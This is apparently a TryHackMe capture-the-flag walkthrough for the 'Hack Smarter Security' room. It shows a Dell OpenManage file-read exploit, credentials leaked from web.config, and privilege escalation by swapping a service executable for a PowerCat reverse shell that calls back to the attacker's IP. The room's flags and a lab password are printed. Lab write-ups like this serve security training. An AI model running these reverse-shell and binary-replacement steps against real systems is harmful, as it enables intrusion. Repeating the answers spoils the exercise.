Sitemap

Tryhackme Free Boot-to-Root Room: Hack Smarter Security

7 min readMar 24, 2025
Press enter or click to view image in full size

Considering the room description, before we run an nmap scan we will take a look at the website

Press enter or click to view image in full size

On the H4XORS FOR HIRE tab, there is a Contact Us page (which may not lead to anything)

Press enter or click to view image in full size

Doesn’t look like Robots.txt exists

Press enter or click to view image in full size

Per Wappalyzer, looks like a standard Windows Server hosting IIS

Press enter or click to view image in full size

Running a simple dirsearch didn’t find anything useful

Press enter or click to view image in full size

Decided to use the -Pn flag for the nmap scan so it did not Ping respond

Press enter or click to view image in full size

Port 1311 is Dell OpenManage, so we will see what searchsploit finds

Press enter or click to view image in full size

Stepping back and browsing to the url: https://<THM IP>:1311 gives us a web page

Press enter or click to view image in full size

Rhino Security Labs (whom Tyler — the admin of the Hack Smart Discord server, works for) released an article regarding this application and a CVE

Press enter or click to view image in full size

Able to read the win.ini file

Press enter or click to view image in full size

https://adrianjnkns.medium.com/folders-virtual-directories-applications-in-iis-540327fe8c28#:~:text=The%20root%20folder%20for%20the,C%3A%5Cinetpub%5Cwwwroot%E2%80%9D.

Press enter or click to view image in full size
Press enter or click to view image in full size

Scrolling down, we see the following

Press enter or click to view image in full size
Press enter or click to view image in full size

Let’s go see what’s stored in the web.config file of the hacksmartersec site

Press enter or click to view image in full size

Username: typer

Password: IAmA1337h4x0randIkn0wit!

We can just SSH in now

Press enter or click to view image in full size

What is user.txt?

Press enter or click to view image in full size

Answer: THM{4ll15n0tw3llw1thd3ll}

Time for some privilege escalation

Hopping over to PowerShell to see if Defender is enabled, we get an error

Press enter or click to view image in full size

We can use the Get-Service option to check

Press enter or click to view image in full size

We are going to have to bypass Windows Defender if we are going to gain access as Admin

Found a nice GitHub Repo for checking different items for Windows Privilege Escalation

Checking whoami /priv, doesn’t seem like anything

Press enter or click to view image in full size

Nothing saved in PowerShell History

Press enter or click to view image in full size
Press enter or click to view image in full size

Let’s check for Unquoted Service Path Vulnerability

Press enter or click to view image in full size
Press enter or click to view image in full size

Trying pretty much any of the sc query options results in an Access Denied

Press enter or click to view image in full size

When Googling for Windows Privilege Escalation Checker tools, I came across the following

Press enter or click to view image in full size

Hopping back into PowerShell, we can use wget to pull down our file

Press enter or click to view image in full size

We will run a quick check

Press enter or click to view image in full size

Most of the checks come back as Informational and non-vulnerable, but scrolling down we eventually find the following

Press enter or click to view image in full size

The BUILTIN\Users group has Full Control over the folder, which means they can delete the exe

Press enter or click to view image in full size
Press enter or click to view image in full size

PowerCat allows for evading Defender

Press enter or click to view image in full size

We are also going to use an online PowerShell to EXE converter

Press enter or click to view image in full size

We are going to name the exe the same

Powercat is installed on Kali, so we need to create our reverse shell PowerShell script, and that is what we will upload to PS2EXE to convert

powercat -c <Kali tun0 IP> -p <port of your choice> -e cmd -g > shell.ps1
Press enter or click to view image in full size

Now we will ls shell.ps1, copy all of the code and paste it into the website

Press enter or click to view image in full size

We will start our python server: python3 -m http.server <port of choice> in the same directory the spoofer exe is in

Before uploading our file, we need do a few things on the THM VM

We are going to want to check and see what reg key controls the forcible stop of a service

Press enter or click to view image in full size

To add the key we will run the following

reg add "HKLM\SYSTEM\CurrentControlSet\Control" 
/v WaitToKillServiceTimeout /t REG_SZ /d 1200000 /f

We can’t run this since we don’t have access yet, as soon as we get our reverse shell, then we will want to immediately run it

The things we need to do prior to uploading our exe are as follows

Step 1: Check that the spoofer-scheduler service is running

Get-Service -Name "spoofer-scheduler"
Press enter or click to view image in full size

Step 2: Stop the spoofer-scheduler service

Stop-Service -Name "spoofer-scheduler"
Press enter or click to view image in full size

Step 3: Verify the service has stopped successfully

Get-Service -Name "spoofer-scheduler"
Press enter or click to view image in full size

Step 4: Delete the exe and verify it’s gone

Press enter or click to view image in full size
Press enter or click to view image in full size

Step 5: Start your netcat session on the port that was set

Now it is time to upload our malicious exe

Within PowerShell run the following wget command

wget http://<Kali tun0 IP>:<port that was set when starting python server/
spoofer-scheduler.exe -o spoofer-scheduler.exe
Press enter or click to view image in full size

Now we will start the spoofer service and watch out netcat session so as soon as it connects we can copy/paste the reg add command from earlier

Start-Service -Name "spoofer-scheduler"
Press enter or click to view image in full size

As you can see, it nearly instantly dies, hence why we needed the copy/paste ready

The above doesn’t seem to work sadly since we do not have the ability to reboot the machine

Press enter or click to view image in full size

Since we can just keep restarting our shell, we can eventually grab the flag by pasting in the full path of the correct location

Press enter or click to view image in full size
cd C:\Users\Administrator\Desktop\Hacking-Targets\

Which organizations is the Hack Smarter group targeting next?

Press enter or click to view image in full size

I tried tab-completing the file, but it didn’t work

Answer: CyberLens, WorkSmarter, SteelMountain

A few nice walk-through shout outs

Press enter or click to view image in full size

--

--

No responses yet